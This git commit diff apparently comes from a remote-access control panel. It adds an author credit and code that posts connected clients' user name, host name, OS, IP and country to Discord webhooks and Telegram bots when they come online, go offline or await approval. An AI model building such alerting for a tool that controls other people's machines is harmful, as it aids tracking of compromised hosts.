send notifications on clients connecting and shit to discord webhooks and telegram and give myself credits
This commit is contained in:
@@ -571,6 +571,10 @@
|
|||||||
</form>
|
</form>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
<footer class="text-center text-sm text-slate-500 py-4 border-t border-slate-800 mt-4">
|
||||||
|
<p>Created by KDot — <a href="https://t.me/kunta" target="_blank" rel="noopener noreferrer" class="text-sky-400 hover:text-sky-300 transition-colors"><i class="fa-brands fa-telegram"></i> t.me/kunta</a></p>
|
||||||
|
</footer>
|
||||||
|
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
<script type="module" src="/assets/nav.js"></script>
|
<script type="module" src="/assets/nav.js"></script>
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import { v4 as uuidv4 } from "uuid";
|
|||||||
import { authenticateRequest } from "./auth";
|
import { authenticateRequest } from "./auth";
|
||||||
import { loadConfig, getConfig } from "./config";
|
import { loadConfig, getConfig } from "./config";
|
||||||
import { flushAuditLogsSync } from "./auditLog";
|
import { flushAuditLogsSync } from "./auditLog";
|
||||||
import { getUserById, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
|
import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
|
||||||
import { requireAuth, requirePermission } from "./rbac";
|
import { requireAuth, requirePermission } from "./rbac";
|
||||||
import { metrics } from "./metrics";
|
import { metrics } from "./metrics";
|
||||||
import { ensureDataDir } from "./paths";
|
import { ensureDataDir } from "./paths";
|
||||||
@@ -282,6 +282,25 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
|||||||
getUserRole: (userId: number) => getUserById(userId)?.role,
|
getUserRole: (userId: number) => getUserById(userId)?.role,
|
||||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||||
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
|
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
|
||||||
|
getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => {
|
||||||
|
const mapRow = (u: any): UserDeliveryTarget => ({
|
||||||
|
userId: u.id,
|
||||||
|
username: u.username,
|
||||||
|
webhookEnabled: u.webhook_enabled === 1,
|
||||||
|
webhookUrl: u.webhook_url || "",
|
||||||
|
webhookTemplate: u.webhook_template,
|
||||||
|
telegramEnabled: u.telegram_enabled === 1,
|
||||||
|
telegramBotToken: u.telegram_bot_token || "",
|
||||||
|
telegramChatId: u.telegram_chat_id || "",
|
||||||
|
telegramTemplate: u.telegram_template,
|
||||||
|
});
|
||||||
|
if (event === "client_purgatory") {
|
||||||
|
return getUsersForNotificationDelivery()
|
||||||
|
.filter((u) => u.role === "admin" || u.role === "operator")
|
||||||
|
.map(mapRow);
|
||||||
|
}
|
||||||
|
return getUsersForNotificationDeliveryByClient(clientId).map(mapRow);
|
||||||
|
},
|
||||||
savePluginState,
|
savePluginState,
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -385,3 +385,120 @@ export async function deliverNotificationWithScreenshot(
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export type ClientEventInfo = {
|
||||||
|
id: string;
|
||||||
|
host?: string;
|
||||||
|
user?: string;
|
||||||
|
os?: string;
|
||||||
|
ip?: string;
|
||||||
|
country?: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
const CLIENT_EVENT_LABELS: Record<string, string> = {
|
||||||
|
client_online: "\u{1F7E2} Client Online",
|
||||||
|
client_offline: "\u{1F534} Client Offline",
|
||||||
|
client_purgatory: "\u{1F7E1} Client Awaiting Approval",
|
||||||
|
};
|
||||||
|
|
||||||
|
const CLIENT_EVENT_COLORS: Record<string, number> = {
|
||||||
|
client_online: 0x22c55e,
|
||||||
|
client_offline: 0xef4444,
|
||||||
|
client_purgatory: 0xeab308,
|
||||||
|
};
|
||||||
|
|
||||||
|
export async function deliverClientEventToExternalChannels(
|
||||||
|
event: string,
|
||||||
|
info: ClientEventInfo,
|
||||||
|
targets: UserDeliveryTarget[],
|
||||||
|
): Promise<void> {
|
||||||
|
if (targets.length === 0) return;
|
||||||
|
|
||||||
|
const label = CLIENT_EVENT_LABELS[event] || "Client Event";
|
||||||
|
const ts = Date.now();
|
||||||
|
|
||||||
|
await Promise.allSettled(
|
||||||
|
targets.map(async (target) => {
|
||||||
|
if (target.webhookEnabled && target.webhookUrl) {
|
||||||
|
const url = target.webhookUrl.trim();
|
||||||
|
if (!url) return;
|
||||||
|
let parsed: URL;
|
||||||
|
try {
|
||||||
|
parsed = new URL(url);
|
||||||
|
if (!/^https?:$/.test(parsed.protocol)) return;
|
||||||
|
} catch {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname);
|
||||||
|
if (isDiscord) {
|
||||||
|
const fields = [
|
||||||
|
{ name: "Client", value: info.id || "unknown", inline: true },
|
||||||
|
{ name: "User", value: info.user || "unknown", inline: true },
|
||||||
|
{ name: "Host", value: info.host || "unknown", inline: true },
|
||||||
|
{ name: "OS", value: info.os || "unknown", inline: true },
|
||||||
|
];
|
||||||
|
if (info.ip) fields.push({ name: "IP", value: info.ip, inline: true });
|
||||||
|
if (info.country) fields.push({ name: "Country", value: info.country, inline: true });
|
||||||
|
|
||||||
|
const embed: Record<string, any> = {
|
||||||
|
title: label,
|
||||||
|
color: CLIENT_EVENT_COLORS[event] ?? 0x94a3b8,
|
||||||
|
fields,
|
||||||
|
timestamp: new Date(ts).toISOString(),
|
||||||
|
};
|
||||||
|
const payload = { content: label, embeds: [embed] };
|
||||||
|
await fetch(url, {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify(payload),
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
await fetch(url, {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({
|
||||||
|
type: "client_event",
|
||||||
|
event,
|
||||||
|
clientId: info.id,
|
||||||
|
user: info.user,
|
||||||
|
host: info.host,
|
||||||
|
os: info.os,
|
||||||
|
ip: info.ip,
|
||||||
|
country: info.country,
|
||||||
|
ts,
|
||||||
|
}),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
logger.warn(`[notify] client event webhook delivery to user ${target.username} failed`, err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (target.telegramEnabled && target.telegramBotToken && target.telegramChatId) {
|
||||||
|
const token = target.telegramBotToken.trim();
|
||||||
|
const chatId = target.telegramChatId.trim();
|
||||||
|
if (!token || !chatId) return;
|
||||||
|
|
||||||
|
const lines = [label];
|
||||||
|
if (info.id) lines.push(`Client: ${info.id}`);
|
||||||
|
if (info.user) lines.push(`User: ${info.user}`);
|
||||||
|
if (info.host) lines.push(`Host: ${info.host}`);
|
||||||
|
if (info.os) lines.push(`OS: ${info.os}`);
|
||||||
|
if (info.ip) lines.push(`IP: ${info.ip}`);
|
||||||
|
if (info.country) lines.push(`Country: ${info.country}`);
|
||||||
|
|
||||||
|
try {
|
||||||
|
const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`;
|
||||||
|
await fetch(apiUrl, {
|
||||||
|
method: "POST",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ chat_id: chatId, text: lines.join("\n") }),
|
||||||
|
});
|
||||||
|
} catch (err) {
|
||||||
|
logger.warn(`[notify] client event telegram delivery to user ${target.username} failed`, err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ import { metrics } from "../metrics";
|
|||||||
import { encodeMessage } from "../protocol";
|
import { encodeMessage } from "../protocol";
|
||||||
import * as sessionManager from "../sessions/sessionManager";
|
import * as sessionManager from "../sessions/sessionManager";
|
||||||
import type { SocketData } from "../sessions/types";
|
import type { SocketData } from "../sessions/types";
|
||||||
import { deliverWebPushClientEvent } from "./notification-delivery";
|
import { deliverWebPushClientEvent, deliverClientEventToExternalChannels, type UserDeliveryTarget } from "./notification-delivery";
|
||||||
|
|
||||||
type NotificationRecord = {
|
type NotificationRecord = {
|
||||||
id: string;
|
id: string;
|
||||||
@@ -65,6 +65,10 @@ type CreateDeps = {
|
|||||||
height?: number,
|
height?: number,
|
||||||
) => void;
|
) => void;
|
||||||
deliverNotificationWithScreenshot: (record: NotificationRecord) => Promise<void>;
|
deliverNotificationWithScreenshot: (record: NotificationRecord) => Promise<void>;
|
||||||
|
getDeliveryTargetsForClientEvent: (
|
||||||
|
event: string,
|
||||||
|
clientId: string,
|
||||||
|
) => UserDeliveryTarget[];
|
||||||
savePluginState: () => Promise<void>;
|
savePluginState: () => Promise<void>;
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -354,6 +358,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole);
|
void deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole);
|
||||||
|
|
||||||
|
const externalTargets = deps.getDeliveryTargetsForClientEvent(event, info.id);
|
||||||
|
void deliverClientEventToExternalChannels(event, info, externalTargets);
|
||||||
},
|
},
|
||||||
|
|
||||||
markPluginLoaded,
|
markPluginLoaded,
|
||||||
|
|||||||
Reference in New Issue
Block a user